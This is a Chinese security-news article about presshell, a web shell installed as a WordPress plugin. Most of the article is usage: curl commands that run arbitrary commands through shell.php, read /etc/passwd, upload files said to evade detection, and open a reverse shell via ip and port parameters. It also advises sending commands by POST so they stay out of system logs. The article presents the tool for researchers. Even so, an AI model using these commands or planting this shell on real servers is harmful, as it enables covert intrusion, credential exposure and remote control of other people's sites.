freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

如何使用presshell在WordPress主机上执行Shell命令
2022-04-23 15:33:51
所属地 广西

关于presshell

presshell是一款针对WordPress的Shell工具,该工具可以帮助广大研究人员上传Shell文件,并在WordPress服务器/主机上轻松执行Shell命令。注意,上传Shell的路径为“<your-host>/wp-content/plugins/shell/shell.php”。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/scheatkode/presshell.git

工具安装

在安装该工具之前,请确保已经拿到了WordPress的管理员权限,并且能够安装插件,否则可能无法正常将PHP文件发送至WordPress的媒体资料库中。

接下来,直接上传该项目【Releases页面】提供的zip文件即可。

工具使用

该工具的使用也非常简单,我们可以直接将“sh”命令以参数的形式传递给Shell即可:

❯ curl 'http://host/.../shell.php?cmd=uname+-a'

Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux

当然了,我们也可以将下列参数在POST请求中发送,我们也建议大家使用这种方式来保证命令执行不会被记录到系统日志中:

❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'

LICENSE

README.md

shell.php

除此之外,该工具还支持使用一些更加复杂的命令,:

❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=cat /etc/passwd | grep -v "\(false\|nologin\)"'

root:x:0:0:root:/root:/bin/bash

sync:x:4:65534:sync:/bin:/bin/sync
❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=python -c "from urllib.parse import urlencode; print(urlencode({\"cmd\": \"uname -a\"}))"'

cmd=uname+-a

我们还可以使用“ip”和“port”参数来开启一个方向Shell,默认端口为“443”:

❯ curl 'http://host/.../shell.php' --data-urlencode 'ip=127.0.0.1'
❯ curl 'http://host/.../shell.php' --data-urlencode 'ip=127.0.0.1' --data-urlencode 'port=1337'

我们还可以使用下列命令向插件目录轻松上传一个文件,而且无需通过任何检测:

❯ curl 'http://host/.../shell.php' -F 'file=@some_file'
❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'

LICENSE

README.md

shell.php

some_file

许可证协议

本项目的开发与发布遵循MIT开源许可证协议。

项目地址

presshell:GitHub传送门


# shell # 命令执行 # Shell命令 # WordPress安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录